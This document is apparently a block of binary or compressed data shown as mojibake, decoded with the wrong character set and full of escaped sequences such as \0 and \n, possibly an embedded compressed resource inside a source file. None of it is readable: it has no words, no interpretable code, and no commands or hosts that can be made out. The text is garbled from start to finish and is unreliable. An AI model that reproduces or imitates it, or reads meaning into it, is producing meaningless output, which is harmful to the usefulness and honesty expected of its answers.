Ã•vÃƒJÃ²Â°Ã²â€¹Ë†ÂµaÂªÃ¾XvÅ“(ÃµuÅ jÃ‚Ã«Tâ€šÃ…6\$Â±XÃ¨Æ’â„¢VÂ°Ã˜Â§&Ãâ€¢Ã•Â½Å H8z~Ã¥yâ€š^Â¨k`Â¢Âª?lÃ„ wuuzÃŠ@Â±lS~Ãƒ@.\"Â¸EÂ¼Sâ€°Â*Ã­Â¬Âµâ€¢Â©ebM5Â»â€“Z{l{aÃ‹/ÃŠÃŒXÂ³â€“Ã„Uâ‚¬1ÂªÃ–Â¡ÃºÂ­Ã±Å½â€¦Â¦aÃˆXÃœUl1Â¤ÃŠÂ¢Â±\\â€”ÂÃÃ–6sÂ§Ë†â€šÂ«Â«:ÂªÃ‚Â§ÃÃˆY}â‚¬Ã«ÃžÂ¨ÃŠÃ¯Â¢Ã¤e<,â‚¬â€˜s9Â.!Ã€SVÂ \nÃ¬bÃšÃ´\nhK#ÂªÂ°Âl%g[;ÃŒÂ¤Ã†Ã±Xâ€¹Ã‚>Ã‹â„¢gQÂ¤\0Â¾Ã¡Ã“Â³Â¨lÃªÃ£vÃšDÂ¡Â¾Ã–Auâ‚¬Ã Ã¯X=BÃœ*ÃdÂ³Ã³Ã‚Ã…sÃ«aÃšÅ Ã”â€¢EZÂ¸Fl~Ã½bÅ½Âµ{\$_Â²rÃŒ\0Mkwâ€¹/â€ž~Ã•yâ€â€˜|CÂ»jÂ©â€¦Âª^â„¢5Â¡DÂ³2%Ã[DÃ—â€¢uÂªxo{DÃšÂ¶ÃÂ¶gÂ©Ã¥1\0Ã†Â¬â€°â€¢Â>ÃœÃ´Ã¬/Âºâ€ Ã¨Ã«ZÃ®Ã’â„¢a\nÃ¡Â¸!Ã«EÂ¼ Å¡AÃ™d*ÃƒeÅ¸@Ã²}UÂ0 7}h\\Ã¶+â€ Ã¦1Â¢Â®U5Â½Ã¡\0ËœÃµ9RÃ‘Ã¡VÃ§anhÂ­ÂµÃ¼m b	â‚¬Â¡  =Ã³ÃŽÂ­b4Ã¤â€”ÃžIO_Â¸Â¼[@JÃ¶â€ºâ€™â€¦uÃ¢`}Â¤ÃªÂ¡N@Ã™ÃœÂ³()Æ’Ã€Ã­xS\0 Ã“zÃ€â€¢Ã°Â¬\r\\jÃµW 'MÂ°Âµw>Ã¸[â€¦ÃŠ.KNÂÃ°xÃ¸Âv\0Â« \$)â€“Ãˆ z}(Ã²Z]bâ‚¬Â§Ã¡ÂºÂ¼Ã¡+XzÃ–Â¾â€ GÂ­â€¦h?EÃŠQÃ«Ã€bÂºÃ´Ã¦Â®Ã…vKÂ³WQRÂ§KqE~â€šIËœTÂ£5Ãº)â€¦ÂªnÅ¡Â«\nÂT-yDÃ‘K{â€šÂ¡`P/â€šÃ¬VÂ¡:Â¥Å’I]Å¡nÃ•iÃ¤Â«Ã—Â©3Ã¯Xâ€šÃºÃ°^~Â¾Â¡Â½ÃŽÃ¯Lâ€˜\"(Sâ€¦Â¾Ã–2Â°Ã¥Ââ€škÃ‡Ã—\r?ÂµcËœÃ¤ÂªlÃ±Ã„U,;ÃµMÂ¾\n7ÃªÂ¦â€“RÃžfÃ‚Å ÂºÂ½Ã¥Â½RÃ£yÃ‡Ã”â€zV.ÃŠkoâ€º >Ã’bÂ´Ë†sÃŒÃ„(!Ã›â€¹^Ãˆ=Â­Å“ÃˆF\0.Ã—Â¡MJI.Â¨HiÃ™â€¹8A3â€ËœÃ´ÃŸÃ„ `(\$Ãšâ€œ\0UÃ‘â‚¬Â¦?Ã°(Ã¹Å¾\$Ã†~Ã°D/â‚¬pÃ Â¥aÂ¾ÃÃžâ‚¬â€˜Tp\0Ã¯CÂ¡Z2Â¾.,.Ã¼}Ã·Ã³ Ã­Ã‘Â°uâ€˜Ã¢D4Â¸Xâ€¢	â„¢pÃ¯3â€Å¾x+Ã€Ã¦iâ€žÃ±Â»\rÃ€â‚¬Ã·ExÃ¶	Ã†Ã–lÃ¡Ã¿â€žÅ¾Ã‘Ëœ2)0Ã›pr\$Â¶Ã‘Å’Â¨Æ’>% Â°z3Ã¬â€¡!PÃ¡(1PÂ¤pâ€šÂ»L\"\r s\$Ã¯Ã¶	Â¨7%Ã‰Å’ÃºÃ¡Ã6â€œâ€¦12Å“Ã½Ë†ËœBÃË†l0Âµâ€ž|.Z(?Ã¬DrÂÆ’Z@<Ë†Â´â€¡mÂ¸â€ {Å¡â€žfCÂ¼,aÂ¸n#>ÃƒÃœÃ‡2Ã±Â²Ã°A8` NÂ§Æ’\0â€¡UÂµÂ·f1â€ž<A+8â€¹ZqÃ“ja?}ÃƒFpÃ¼:Ã–\"8Ã‰â€¡9Ãƒ`â€¢0Ãâ€žaÂ·â€“\0nB7=n\"Âoâ€¡Ã“.â€°Ã¼Ã iÂ±Â£J0â€“Å“GÃ¶Ã‰Ã¸Å’Ã¦bÃŒ\\l:bÂ§kdXPÃ¡Ã°Ã‹Å <)ÃŸ\r\"â€˜Ã†K;1Udbâ€˜Ã¢Â·8Â°Â¾LÂ©â€¹VÂ¿ÃŸ Â¢Â¯Ãª7â€ 0Hâ€“QÃ³*c*Ã‹â„¢WYÆ’Å’XÂÃ¾Ã¡Â¸Â³Â-Ã‘Â±Ã 7|RÅ“Ã¿8KÂ¨Ãœâ€œWtL2<{Ã¡ÃºÃ‡ÃŽ5Ã™ÂÃ¬>Ã¡Ã“Ã€eÃƒÃ†â‚¬{â€¡ÃŠÅ¸3Â°Â£\"JÃ„Â*Â¨RÂ¬BcÃÂ»VÃŒÃ…q<Ã«+ÂqÃŒâ€¦'##>Ã‘2F0â€“Ã›\"XÂÂ´fEÂ¢{â€¹|cÃ¢tËœÃ•MÅ¾5Ã…Å’ÃˆÂ·>D\\XÃ¤â€“Mgâ€œcÃ¢Ã£	gÆ’Ë†Ã‡U'Ã±â€˜Ã¬5Ã¤â€ž\r9%Ã‡Qâ€¢WÅ½Â¢â€°Â¢Å¸'Ã€dÃŠNOWâ€˜Â¼Â£â€â€º#Ã©Â³Ã†Ã ~â‚¬uâ€ÂµeÂ´â€°Â´WÃŸÂ§Â¾;Ã°ÂÂ\\SÂ®Ã³&Â¸Â«Ã†ÃŽ,Ã•Ã—}Ã¸Ã¨_|Â°Ã¸Ã­Ã€ ÃÃ°!â€švxÃ¤ Â¡Ëœ]mÃŠ1Ã­â€ž|Â¼Ã¥Â¹Dx.Ã‚BoÃ°,YÂ¡	â€“tÃƒÂ¸ Ã€Ã¤]Â°Yâ€”lÃ‚/Ë†;Ã¹YA[Ã¯Ã‹â€žuÃ´`7Ã£Ã¿qÂ³â„¢Ã°?Ã±FÂ´\rÃ v-Ã”@Ã™ËœÃ€Â¯\n3Ã¢Ã›hÅ¾j#ÂÂ°Â¯K 6NÂ^Hâ€”â€˜Ã©Â\$â€ Ã¨(|Ã€Ã¨\$Â¢â€¦â€¡Ã½eÃ¯'Ë†HÃ˜Ãš%â„¢pâ€¢Ã„Å¸%	l\nÃšK ÃÅ Â¼â€“Ã cgÅ Â£â€°Ã‚BÃŸÃ¼â€”Â¦\0%Ã¸{Eâ€”zÂ³â€¡Â¯Yjic&Â¡5â€žnGâ€˜gâ€¹Ã¥/Â¥â€°ZÂ¨Â£Ã®} 7GÂ¨\\KÂ¹KÂ²Ã²-Â¥QfÃ©Â¾Ã—Ã¦plÃŠÂ¼Ã¾Ã¾Ã—Ã£ËœÂ¾Ã€w 8Â§aÂ¤LÂ¾*â€”â€ }Å¡]Ã’@Â¥RÂ¤}JQÅ¸qgÃ§Ã§â€žâ€˜^a<ÃŠ\\ Ã¡gâ‚¬Ã¯Câ€š[ÃÃ¾â€¡PRÃ­*4_YÃ˜VvÂª\"eqÃ©Å“0?YwÃ€V\nÂ²Ãâ€º2Ã‰ZÂ¨Â®Ã³Ã&mâ„¢2â‚¬Ã£@hnÅ’Ã²\"&Â@Ã˜Â³ÃŸHâ€šÃ°â€¢4â€˜OÃ¥UÃ©,;Ã¢Ã˜Â¦â€œÃ‹Ëœ#L[ÃÃ¤Â¿(TÃˆÃºÂ®â€šâ‚¬].â€ºÂÃžvÂÃ´{|Â³\$\06{+\0\nÃ€/\0Ã„tIÂ¶Â½TÅ½â€“Ã…Â¶Ã³1dÃ©â‚¬IÂ¦Ã´	ËœÃ´Â¹Â¦@Ã£Ã†*96â€ºtÂ¥Sziâ€¡ÃMrÂ¹Ã¬Ë†ÂÂ§(ÂÂâ€ž\rÂ¶Ã“Â±XÂ°\":ÃAÂÃ Ãžâ€žOÃ¾â„¢ÃµÂ\0(	MÃ€wÃ“â€ Â¤4Ã¨ÂJÃ©Ã£KÃ¹VÃ“Ã®Å¸Ã³9Â¨2jfÅ¡Ãº~Ã™Ã–@Ã´L\rCjyzÂ¡\nÃ¶Â£Â´Ã£Ã«^ÃªKRÅ¡Â´Ã”Â°Ã£ÂµÂ¼ÃÃªWVÃšÂ¸Â¥7Â¢Ã‰ÃWÂÃâ€¹Ã¤â€žFÃ°Â´5â€¢Â­cÃ…GPÂ²=nâ€šâ€œÂ´Ã¿Ã»Â;Ã…&Ã¥8Ã¾+-CÂ®\rÃ»zâ€¡qfâ€¢â€¢TÂ²â€œÃ“@SÃÂCÂ¡Ãâ€¦Ã¡5kyk/ÃbEÃ… 8}tÃ©Â¤Å½fÅ¾Ãâ€žoÃ±HÂ{Ã¥â€¦Â§ÃÃ¿Â¿Â½I%Å¸Ãâ€¢Â£aÂ»ËœÂ¾â€”oÃd\$Â´Ã¬qzJÃ•Ã–Ã€â‚¬N!oP6Ã¢ÂdFÂ§HË†Â½\rqÃ¥Â³Ã¬ivâ€¢Å’Â© ÂÃ©câ€¡Ââ€˜Eâ„¢PÃEâ€¢â‚¬	ÂÂ®Â¦ÃŽ4Ã˜p)Ã¾}Ã+fÃ¶Â¸Â³wIÃâ€œUÃ²Â¡	fÆ’ÃµÃ§{Ã¼ Ã²Ã¹Y0Ã¢u=Â¥MwÃ`U*Ã¾â„¢Â¶NciÂ´4+Ã›. Ã•Â­Â¯m+lL!Ã˜\0ro}Â¤Ã© ;a!ÃžÃ˜ÃŠ'Â²Ã†lÂ¹]bYÃšÃ vÂÃ®%ÂÂ³Â´Â»â‚¬\rÅ½Ã â€™Å’ZÃ}mÃ´\rÃ¸'pÂ²Ã‹Â·NÃ…iÃ²Ã‚OÃœIWÃ·Uayâ€˜â€ž\rÃ«sÃœÂ¨vâ€¢Ã¥Â¸Ã°Æ’n+Ã¦Ã…+mÃ„Ã®ÃÃdLÂ°Â©p\nUÃƒ\nC\rÃ®wqc>ÃQ7cÂ¹\rÃ‹Ã¸ÂÃ›â„¢ÃšÃ®Ã­Ã·BUÃ½ÃÅ¡â€ºv[Â£7Â¸Ã…Â´`â€¢Q\$gYÂ¶T9Â·PUÃ½Ã•@Ã£v[ÃÃœÂ¦Ã®ÂµÂ¸Ã‡Ã Ã…ÂLÃ®PNÃŽÂ¾Ã±n7p&\r/wÂ«=~Â´Ã­ËœÆ’rp<@e-Ã‹KÃµÂ¶/eÂ§VÃ =Ã€Ãµ*Ã²Ã²_â„¢aÃ¦;ÃšË†5â€e5Ã¡â„¢y%Â¿â€¦JBÂ¿Ã­b-08 .Ã–Â¦V	Âªâ€˜ Dgâ€œ\$UÃ5Ãž4â€šAm?@Å¡Ã¶\$Ë†ÂÃ´\"ÃœÃ¾Ã¨'{Â§Å’ÃšhÃ’85Â°Ã¢Ã…cÂ¸â€ÃÃ—Â¶BÃ®P\0Â¥Å½Â®Â­&L+CÃ·\0P0'Ã0â‚¬P?&Â¹ÃƒÃÂÂ²Å½Ã£Å“#Ãâ€™\nÃ¥BÃ„\rÃ¼X'ÂÃˆsâ€“`!rNhx1dÃžBÃ‰dÃ…Ã‰Â¿Ë†;Ã›Ã­ÃžÃ˜rJaÅ¾+ÃŽCÃ„FÃ´Æ’Ã˜.Â½6)ÃÃ€â€¦Ã©â€°},&Ã€â€ Â±â€¡QÂªÂ/LÂ?Â¼	Ã–Ã†Â¬WÅ¡kÂ½pâ€º`Ã›Q,UFÂ³5Â£=hÃ¦{ZOÃ€Â²eÃƒWâ€žÅ ÂfÃƒÂ¹ Ã€Ã¾WÂeÃŠÃ½Â\0Ã˜Ã‘Â¯oPi<ÂQâ„¢ÂÃŒ&\$0Â³Â7{Ã¨Ã¾â€ºâ€šÃžJÃ¯Ã¶ebwÂª4Âµ,Ã½Â¶[j?YÃ²Â¤â€™\\Â« ]Â®#KÅ“.Â·ÃšÃ¹ZË†Â·Â¯Å¸=Â\0ZÃ›%Â¡&Q2Âµ]rÃ»â€BÃ“Ã£Ë†Â·ÃmÃµ|<Â¥Â¡>ÂªÆ’Â/kÂ¸Ãš/JÃ­Â½Ã¦VkÂ¾lÃ®Â«\"Â¡ÃžÃ¬ÃŠÃ·Ã­Â¬AÂ¸aÃœÃoÂ²ÃºÂ¸Ã›Â«Ã¡sÂ¼uÅ“Ã¢Ã‰o99ÃŠcâ€˜Ã³Ã«Gâ€ºÂº\\Ã¦ÃŽÅ¾â€°Ã„mÃµpÃ«_RÃºÃ™VÃ¾Â¶Ã´EÃ€ Ã¤pÅ¸Å’Ã»RÃŸÃºÃ“@\\^bÅ¡mÃ’Â¸&Å½â€™Â¾Å¾â€žgÃ·â€ÃšÃ¦_Ã€Ã©Ã.A(Â4Å Ã¤0wÂ´ÂµÂ¬N~Ã®Kâ„¢|â€™xÃ¶ÂÃÃ›Ã”r(r|Å’Ãˆ'#Â°GÃ“Ã¿â€˜DÂ½â€¢Â¶kÂ³ÂÃˆWÃ¦BËœ\\â€ºÃÂ©[Ã¹=Å Ã½ScRcÃ°Ã©Ã™[Ã²7Å½8iÃ¥1Âº/Â¼mÂ¡^â€¦ÃŒÃ½\"Ëœw}Â¡Ã¨zÂ¼y\nÃ°â€°p`â„¢6(Å¡mÃ­Â§Ã¾\0uâ€¢#â€œNeÃ±cÂ³Â¶TÅ Ã¤\0xÃ GZ: 87WÂ­Â£â„¢Â£ÃŒÃ€V!Ã‚ÃµÃ‹Â®â€¡Ã«hBÃ³EÅ¡BÃ…eÃ›â€™Â/Â¹&ÂÃº,GÃšÂÃ°â€”BfÃ£Ã tÃºÂ£ÂªÂµÃ¬Å½â€œÂ¡Â¼Ã¨â‚¬Â·z&Â£b2Ã–Â}aÃ—ÂBÂ¸Ã¹ÃÃžÅ½ÂÃ¿Ãœâ‚¬Ã”Â¿ Â¹Ëœ|\ntâ€œ\0t(Å¾ÂºkÂÃŒPpÃ¼Å Ã£Wi	ÃÂ½;Ã³4Ã—Ã£vÂ¦Nt@Â¾qÃ†ÃŠÂ£I\\Ã•Å¸?;â€¦Ã‡=WtÅ½ÃVâ€¹Ã›H)\0'BÃ‹q[1Â¶vË†Ã·Ã„3Ã¬Â²Ã°Â¯Â±zÃªnÅ’Ã³#Ã”ÃžNÃ¢c}IÃ–S99Æ’|#Â¼Ã‹3Ã­\"43Â¦â„¢p6â€“8Fâ‚¬'Ã­Ã°9Xâ„¢}Ã‡^â€šovÂ¡Â°Å½ËœeÃ“6Å“ÃƒÃ–Ã¸CÃ«â€”Å½Ã”6Ã€â€™B[Ã9Ã¬BÂ­Ã¢1â€ Ã…ÂµqNÂ§â€¦y&ÃrY\\\"Ã³\"Â¿v;ÂµÂ»ÃœpÃ’Â±=Â¨&Ã†a\nTÂ¨ÃŸ\naâ€¹Â»ÃžÃ¯C\\\0002Ã³DÃ¥HÃ‘0Â´<RÂÂ½Ã¸Ã¸Â¨Ã¤Ã·\"Ã¿Å’Ã€Ã¨RÃ¢cÂ»Â¼=.Ã7Å½Ã‹UÃ¤Ã¢|FS>iÃ³Z1LÃ†Â¾Â¥Â£Æ’_O Ã°!!Ã™D4Â¥.fÃ«eÅ Ã…Ã‚Å¾Â¶Ã±Ã·Ã Â±Â·,Ã¼â€žZâ€™â€Ã¹@Ã„\0<F.â€”Å’Ã Ã„Ã°c>_}Â¥Å½Â£â€˜Ëœâ‚¬Â£ÃŠ pâ‚¬C<â€¢IÂ·=Ã§Å¸Z05Ã‘Å’â€™Â°)ÃžÅ½Ã³ÃˆÃ†Â¿Ã§ÃNz,uÃ¾â‚¬Å’Ë†Ã˜\\p6ÃžÅ¸yÅ½-Ã¥â€”=5Ã†!T#GÃ¸\0*mÂ¿Ã³ÃµÂ¢â€™InÃŠÂ©ÃžÃ¸Ã¢ÃÃ¿Ââ€”Â»:Â*ÃºÃšÃ½iÂ½`7â€ºhÃžÃ¾Â¿ÃÃ¾Ã§Â½Ë†ÂÃ‘Ã¸EB.Ã–Å“XÃŠâ€°Â¢Â¯`Uâ€žÅ½qÂ§Â¬sÂ¯Ââ€™Ã¯sl[S+{ Â³	â€ºÂ¦0ÃºÃ§Ã—{Å 7Ã¯â€ <pÂÃ–nÂ»ÃÂ¹Ã–Ã¶.Ã¬Ã±Ã—Ã]xÅ¸mÃºÃbÂ³}ÂÂ¸Â«<Ã»[ÃÂ»Â£ÃWâ€¹Ã½Ã´Å½VhÂ»Ã›kYÃ·Â¾Ã°>Â½eÃ˜5â€”\raaÃ»FÃ¤Ã°SxÃŒÂ¶Ã˜OcÃƒÂÂ¾â€˜Â¡Ã¡[LÃ¾eÃ”Ã°â€”â€šÂ¤ 7â€žâ€žË†Â§>@Ã©Ã Ã¯Ã +|Å Ã«Ã¯Â©;Ã®Â¾Ã½Â£Â¿Â¥.Ã°Ã·@Y'Â»Â¿Ã¿Ã£Â¡â€¡Ãˆ>EÃ²@0â€˜Å¸@@Ã´Ã­H=CÂ¯Â¨`Ã–â‚¬Â®bÂ®Ë†-OzÃ³mÂ¶Ã¸Â²t>=Ã=Â¸â€”3n!Ã Ã—Ã¶â€œÃ¶8DM&Ââ€¡JÃ›wÃ”Ã¶â€ž.]\0Ã—O?Å¸[Ã»4D#~<Ã¶OÃ€ÃºÂ­â€žâ€°\"Ã«	oÃ²â€˜tÂ¹ÂÃBcLK1Ã©Å“	â€šYÃ„â€°IÆ’Ã‘xÃ½Ã¹â€œ8QÃ¨Ã—e)Â¯â€¦Ã“`Ã¿Ã…ÃžÃ‡ÂLÃº6Â+â€¢Ã˜Â¬BÃ©Ã¹Ã£wboÂ½L]+VPÃ¼Â¹â€¢Ã¿BÅ“EÂÃ“Ã¥Â¹Å ÃŸ_VÃ‚Ã’Â±xÃ¨rÂ»|[â€¦Ã¦Â±Ã»\"_~Ã¢Ã‚Ã›Ã¢HGâ€¦spâ€¡Ã³CÅ“\n\$â€”ÃˆR`Ã¹â‚¬Ã‡Â®` Ã­\"Ã©@F?Ã¨	QÂ¿Ã„qâ€ºÃ»Â²^ÂÂ¤`Ã€W\"Ã¨;Ã½\"IPDÂ¥Ã¾Ã‡Ã‡â€ â‚¬2â€¢Ã¿Ã»Ã¾Â°ÃoCÆ’nÃÃ‚ÃŒ}sÃ¿Ã»xÅ¡2â€œâ€ºi wc%Ã½Â¿ÃªÃ¾Â£Ã±\rÃ¹â‚¬NÃ¹\0IÂ¬Ã Â±Ã¤Ã¾Â©C 8â‚¬pÃ“ÃÃ¡ÂºÃ’YP!Ã€)Â¶F5â€™ Å¡Ëœ	 Å½Â¯cÂ¾.Ã³Ã·oÃ¶7dZÃ´Ã`<*7Â£Ã½â‚¬Ã¤Ã‘ÃšÃ–Ãƒ4w(Ã©OË†râ€œÃ¢0nÂ¨ÃŠÃ°Â¯Ã´ÃÃ 9Â«Â'Ã“Ã½Å½tÆ’XÂ6gÅ’6Ã¦Â\"Â®V:ÃˆÃÂªâ‚¬Ã¶Â¼VÃ¤Â³`\rZâ€žZÂ¦Ã°â€œAâ€ºÂ&!Ã›_O\râ€™Oâ‚¬DÂ®	Ë†Ã¶Ã¡Â¤ ,Å“Ã34/Â´Ã¬oÂ³Ãµm)â€žâ€šÃ#}Â¯Ã¾Ã°Ã˜yÃ„Â¤Ã’Ë†[nÂª4\0Ã¡Â´Ã<DÂ¿Â.Â´â€¡Å“Ã§ BÃ®Ã¼>\"\rÅ CÂ¦Â°Â²Ã°;Ã€Â³@Ã¾Â£Â³Â®â€°Ã¦Ã­\0Â´Å’D0Â¾ZÃ¿b\râ€œâ‚¬V%\nRRA}â€šâ€Ã”Æ’\"Ã.â€œÂªP Â>n1Ã˜4Ã‰=&:>â€°\$â‚¬^RMpQâ€ Ã¶Â§\$Ã‰L\0Ã¶1Ã±Ã¨Ã°Â¥â‚¬â€Ã’Ã¿Â}â€¡Ã•Â«mâ€°HÃBâ‚¬â€¡	Â¥Â²	â„¢Â£ÂAh1ÃšVÃ‰=&â€¢LÃ	Aâ€â€ÂºTÂ¬!Ã­\\)^Ã2ÃƒÂ¨.Â°WÂ¬p.Ã¯Câ‚¬QÃ˜â€Â£â€¹\0Ãœ\n`(Ã .	9Ã›@Ââ€ Â¦`(Ã¬|\0ÃŠÂ¦Ë†>Â¯Ã´ËœÃ—#Ã¡@2D@Ã–â€™Â´\$Ã©E\0fÂ¸Ârâ€¦v\nË†*`Â£Â½.â€™WÃ¡sâ‚¬\\Ã |Ã€>â‚¬HÂ *Â©Æ’ArÂ¥Ã±QÃ‡jÅ¡â€ºÃºPâ€°;ÃD<|Â¡IÃNâ€¢Ãˆ0UAX=)Ã’kÅ’ËœÂºX0â€°Ãv1Ã˜ÃÂÅ’AÂ®U,#â€¦DAc@(Pâ€˜AZtÂ¡Ã›p[AÃÃ¡/Â°â€¢Å’Â	0Â³0_B5IkËœÃ4ÃdÃÂ©bQÃ°gâ‚¬T1ÃÂ%{Ã‘Â©Â©=\$â€PI=KHÃ°Â°â€ Ã‚Â¼\"0\\A;	aÃ’Â¢Ã‘Ã‚]Ã¼&7Aâ€¡\n:YÆ’Ã‡Ã‚â€â€¢\$)â‚¬â€¢Ã‚Â\nâ‚¬.Â°kÃ‚Â§	Ã„Ps\$Ã¹\nÃˆRpÂ­Â¤Ã¼Â¥â€ž+ÃË†/â€¹'Â¨OÃ‚Ãœ#\$,Ã°Â¡Â¥Â°*dÃâ‚¬B`Ã„  B	Ã¢Ã¿Â°ÃƒAHTD1)IÂ¥QtLNÂ©CÂ©=\0Â¶â€”Å’eâ€œÃ¿\n{,Â±â€¢â€ž<4Bâ€¦Ã”Ii%Ââ€œÃ´\"PÃ•\$BWÃ°h%SÂ¤PÃ‹Ã¬Â³Ãœ30MAE\n(Ã„pÂ¶AÃ‘|cÃ‚â€ºÂ¤)Ã Â¹Ã‚Ã«\nâ€#Ã‡Â®'\r8Ã°X'Å¡[ÃšÃƒÂ¬Ã 5Câ€šâ€Â¤0Ã Ã¡B<â€¢BS0iBfÂ¥LÃ¦x	Ã¤1f	â‚¬Ã»@Ã Ãâ€C	Â¬;â€ Ã¦CÂ¾U,8Âb\0Ãžâ€“t)\"2AÅ¸Å’iRCâ€º\nâ€°/Â°Â»ËœÂ¾Â³Ãœ:ÂÂ¤ÃƒÂ¬Ã¤;	_â‚¬X(â€Ã‚\rCÃ§\rÃ¬;â€¦Â¹C_(ÂÂµBÂ,-Â°dCÃ½\n\\9PÂ¹Câ„¢ .ÃÃ¨=Bâ€“Ã°â€Ã€-â‚¬tÃª]Pâ€°ÂoÃ¤\0Ã¹ N	Ã Ã Ã–Â³HÃšhÃ¶â€¹^â‚¬ÃžÃF@Â¬/ÃŠ<ÃÃ¡\nDjÃ˜`â‚¬Ë†ÂË†Ã£â€šÅ’lâ€”Â¹â‚¬Ã¾|/ ! Ã±*Â¿ÂªÅ“GÃ 3â‚¬^ \n@â‚¬Â°'Â¸	Câ‚¬Å¸â‚¬â€žÅ¡( â„¢HÃ Ã‘'&â€¡Â¼\"Â¤Ã¤Ãª\rLFâ€˜Ã¾Â¿2Ã¬Ã‘DxÂ¦Ã³Ã¨!jDÂµI@<Â¦vQâ€šÃ€0â‚¬Â§ Å¸â€¦CÂªÃ”XH\0002â‚¬^;iÂ©~Å“â€ Â¾THÂ©6â€¦5  Câ€“â€œH5Ã‚â€œ(â‚¬Ã®49Ã„I Ã…,SFâ‚¬_TSÃ‘FÃ…B5\0Cq!Â¬`Ã¾Â¨â€˜Â¯Ã…\0OÃ„PÃ‘DEWÃ¬Qâ€˜PEEË†?Ã‘Yâ€¢â„¢<S1]EYÃ¬QÃ‘_Ã…HÂºÃˆKX8|Xâ€˜\\Ã…7ÃœQqOÃ…xÃ¶â‚¬â€ â€¦Â©,GÃ…JÅ¡\\I2Â¥Ã‡0SQ#â‚¬â€ºÅ¡a\nÃ…,<\\Ã‘ Âµ=\\]Â¢+â€”%â€žI\nâ€¦Ã…Ã‡\\Ã¯Ã\nÃƒ\\FiTÃ„Âª+Ã±,DÃ½ÃœKÂ±/â‚¬â„¢Ã‘1Âª\$'Ã¤Z1Tâ€šÂ§Â¤UÂ±PE |R@/Ã…({Q`0Â¬â€¦\\Wâ€¡E9Â¬UÃ‘â€°Ã†+Â¼c <Ã†9DXÃ‘^EÂ­|R!lF,Â§ qÃ‘\"Â¾H,dÃ±bÃ…Â§<eqâ€˜F]Â¸Ã‰Å½Fkâ€UQÅ“FClRqËœÂ(	Ã€ÂºÂ©Dâ€gÃ±ÂF!Deâ€˜Å Fw0ÃœÂ±]Â­Âle1ÂF%\$eÃªâ€¡Ã…Â¸mÂ¢MÂ£]Ã„Å¸â‚¬Ã±Ã°Ã›â€œâ€œÃ¨Ã¢Ã›â‚¬ÃžxÃ®Â¥x\0Å’Å Â â€¢)Ã˜Xm`Ë†[Ã„K`Â®Ã…â„¢Ãœ]mPâ€:iË†SM=@9Ã„pSFÃ„ËœxÃ•B.Â«tÂ£Â¹\0Âp\0Ã™UÃÃž\rNA;Ââ€“ÂªÃœÃ’hÃâ€šx~Ã« ÂwÃ†ÃŒâ€˜Ã’â€¦xâ„¢8Â±Ã”Ã“Å“s`Å !_Ã´kÃ‚\0PÂÃ‚1@Ã†\$4ÂÃ¡wÂ­Â°ÂÃÃ¸1â‚¬Â¤nÃ‚ÂªÂ° *\0â€ #RÃ Æ’0?Â	â‚¬'\0dÂ¡ 	Ã€â€™(HxÃ Gâ„¢ \$Æ’Ã¹\0 HÃ¾`(Â¦â‚¬Å Â±Ã®Â¦Âxâ€¦GDâ€ tHÃ«!â€™\nÃ‰Â Â¬Ã‡Å¾â‚¬FJJ|Ã¡6Ã >?ÃµXBQFÃ˜Ã£Â©QÃ¾\$`Â¬\0>06ÃTâ€°\rË†Ã‚Z\\Ã£:	(+ Ã‚FJÃ QÂµÆ’Æ’df`>\0Å Ã“d1Å¾Â³hÂ«ÃŒPÂ²Ã…pKÃ²\0Â¾Tâ€ž@0ÂµBÃ ËœHÃ >5 Ã¤i 6Ã†â€“Å¸Å“jÅ½Â¶B8â€¢Ã¨Z Ã²?â„¢Â¶Å Â¹â€ 4 7ÃªÂ¼â‚¬Â¦Â»Â°D*Ãœ<lÃ°Ãˆâ€™H1 Â±Â¹â€™Â¤7Ã‹5Ã’%Â¨?leQFÃˆÂÃˆ\n`<Â°bÃ„Å mrÂ°Ã²ÃŸdË†Ã¤ÃŠ\0â€œ\"Ã‰ÃˆÃ Ã–ÃˆÂ¼9â€°Ã’1+Ã²VÃ€Ã¯GÃ¨\0Ã‰â€™1Ã…?#lÅ’Ã¤ÃŒHÃ’Ã™Ã©Å¾Al\0Ã¸ÃˆÃ’Â¼ÃŒË†'Ã°Â°Âª3i â€ ÃˆÃ¼BDÃ Ã‚Å½Ã«â€™Ã™Â¦oÂ¯Â²câ€™Ã¤ZXÃ¡Ã‚MJ\\â‚¬#2Â¨mbJÆ’\nÃk@Ã¿GÃ¨ikQf)(&\\~ÃkÂ©Â¼Ã˜Ã™Ã£ÃŽâ€œÃ»Â¬!*E(â€šBÃ‰&ÃˆTÂ²-Ã‰`Â±RÃÆ’\nÂªÃˆ\"iâ€˜HÅ¾\nÃ‰Ã”Ãƒ\n=Ëœâ‚¬Wâ‚¬Ã„<â€”Ã‘Ã¼Â¾@ *JzÃ°7,Â¶zËœÂ¨! &Å’â„¢\$C.Ã¿HÂ·Â\rÃ±Â¼Â¼FÃ¢Â¸`+?Â´Â¼Å’Æ’Â¬â‚¬ÃŽtÅ¡Ã€Ã–Å¸ÃŽÃ˜Ãâ€™uÂ³Ã„]-Å¾ÃˆÃâ€~â€™b%xÃ’d)Ã™\"|^BWÂ¿Ã†Ã¬Å½Ã¢L3S(\nbÃ€Ã³#Ã¨â€AÂ¡Ã‰Ã’Ã³Ã»R\"Æ’Ã•&Hâ€CTÃ˜â„¢iÂ¢WÂ¢fÂ¨â€ºIX!qÃ¼Â¿Ë†ËœD Ã½	^HÃ°TÂ²	9(ÃŒÅ¡Ã¤ÃŠ\0ËœÃ Ã’â€¡Ã‰Ã·Ã‹ÃºÃ€4)) Å“\$Å â€”~0Â±6#\$â€™*Ã“tÂÃ #;<ÂDÅ Â·ÃšÂ¤Â£Â«RxÂ¦}*#ÃµÂ­3ÃŠÂÃºgÃ…Câ€œÃ˜c4â€™Å¡Â³Ã€Â´Â©`â€¡@Â&Â¼ â€¦â‚¬ÃŠÂ¸[Ã‡Ã³#Âªda?Ã‡Ã¨YÃˆnÃ¼;Ã´Ã Â·xâ€ž:LË†Â²Â´Ã…F-ÃCÂ¢_ÃŠÂ£Â¬rkÃ‰ 	Ã²Â¨Âº\$Ã¢Ãˆ2Â³Â²#\\K\nHâ€¹+Ã«Ã¦Â¿Âµ\rÃˆTâ€™Ã‚;Ã³+Ã¼TRÂ¾2Â§Ã¬Â¯Ã€Ã–\0Â¬Ã¸rÂ¦Â¦Ã‹*D<rÃ¡Â­pÂ¬Â§!@IÅ“Ã‹ZÃˆÃ’â„¢Â³Â¸(Ã¼Â¦oÃ­Â¼Ã¿ChOÃ³Â¼Ã«â€žÅ¡`Ë†â€ Ã«Ã¨Ã‘2Ã•\0Ã¨Ã¾Ã 